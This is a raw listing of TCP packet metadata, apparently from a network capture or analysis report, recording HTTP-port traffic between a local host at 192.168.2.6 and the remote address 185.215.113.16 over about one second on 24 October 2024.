Oct 24, 2024 11:02:59.031800032 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.031835079 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.031847954 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.031893015 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.031898975 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.031912088 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.031913996 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.031943083 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.031975985 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.073158026 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.073180914 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.073196888 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.073210001 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.073224068 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.073314905 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.073349953 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.073422909 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.073422909 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.116286993 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.116307974 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.116323948 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.116399050 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.116528988 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.148880005 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.148891926 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.148972988 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.148972988 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.148996115 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.149008036 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.149032116 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.149069071 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.149394035 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.149405003 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.149457932 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.149540901 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.149570942 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.149581909 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.149589062 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.149614096 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.149635077 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.190340996 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.190380096 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.190391064 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.190433979 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.190454960 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.190466881 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.190468073 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.190500021 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.190754890 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.190831900 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.233537912 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.233570099 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.233583927 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.233599901 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.233715057 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.233716011 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.266485929 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.266506910 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.266522884 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.266580105 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.266580105 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.266624928 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.266655922 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.266670942 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.266706944 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.266750097 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.267030001 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.267056942 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.267071962 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.267090082 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.267122984 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.267122984 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.676520109 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.676553965 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.676569939 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.676630974 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.676649094 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.676661015 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.676697016 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.676707029 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.676815987 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.676834106 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.676851988 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.676863909 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.676886082 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.676893950 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.677298069 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.677349091 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.677484989 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.677516937 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.677539110 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.677553892 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.677588940 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.677606106 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.677623987 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.677638054 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.677644014 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.677649975 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.677668095 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.677683115 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.677922964 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.677974939 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678036928 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678052902 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678067923 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678083897 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678092957 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678100109 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678117990 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678143024 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678189993 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678206921 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678225040 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678232908 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678236961 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678260088 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678272009 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678277016 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678293943 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678311110 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678317070 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678327084 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678345919 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678359985 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678371906 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678425074 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678442001 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678467989 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678483009 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678740025 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678757906 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678775072 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678787947 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678790092 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678806067 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678807020 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678817987 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678823948 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678839922 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678853989 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678855896 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678868055 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678874016 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678888083 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678896904 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678910971 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.678925037 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.678941011 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.679066896 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.682085037 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.682128906 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.682143927 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.682149887 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.682183027 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.682204008 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.682220936 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.682235003 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.682248116 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.682272911 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.682518005 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.682573080 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.682574034 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.682621002 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.682621002 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.682636976 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.682655096 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.682684898 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.682684898 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.682708025 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.683451891 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.683468103 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.683485985 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.683501959 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.683507919 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.683507919 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.683516979 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.683558941 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.684325933 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.684346914 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.684364080 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.684384108 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.684400082 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.684405088 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.684428930 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.684456110 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.685200930 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.685228109 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.685242891 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.685270071 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.685277939 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.685286999 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.685301065 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.685327053 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.686068058 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.686117887 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.701390028 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.701409101 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.701422930 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.701509953 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.701509953 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.736218929 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.736243963 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.736260891 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.736401081 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.736433029 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.736459017 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.736474991 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.736475945 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.736521959 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.736536026 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.736552954 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.736593962 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.778177023 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.778234959 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.778249025 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.778263092 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.778268099 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.778281927 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.778309107 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.778309107 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.778309107 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.778337002 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.778625965 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.778671026 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.778676987 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.778681993 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.778714895 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.778740883 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.778750896 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.778763056 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.778795958 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.778815985 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.821497917 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.821511984 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.821525097 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.821568012 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.821603060 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.853846073 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.853862047 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.853876114 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.853889942 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.853899956 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.853914022 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.853921890 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.853921890 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.853964090 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.854110956 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.854125023 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.854140043 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.854156017 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.854162931 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.854188919 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.854217052 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.897207975 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.897265911 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.897332907 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.897345066 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.897356987 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.897370100 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.897383928 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.897392035 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.897408962 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.897447109 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.897475004 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.897684097 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.898166895 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.898220062 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.898336887 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.898349047 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.898360968 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.898382902 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.898406029 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.898885012 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.898896933 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.898910046 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.898930073 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.898967028 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.936342001 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.936361074 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.936420918 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.971796036 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.971823931 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.971838951 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.971872091 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.971872091 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.971910954 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.972444057 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.972466946 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.972480059 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.972523928 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.972527981 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.972541094 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.972589016 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.015111923 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.015146017 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.015172958 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.015177965 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.015189886 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.015206099 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.015208960 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.015228987 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.015230894 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.015230894 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.015248060 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.015252113 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.015274048 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.015292883 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.015304089 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.015331984 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.015347958 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.015347958 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.015396118 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.016091108 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.016148090 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.016166925 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.016181946 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.016217947 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.016227961 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.016227961 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.016251087 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.016283035 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.016304970 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.089240074 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.089272022 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.089289904 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.089344025 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.089384079 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.089673042 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.089689970 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.089706898 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.089719057 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.089735031 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.089751959 CEST	49920	80	192.168.2.6	185.215.113.16
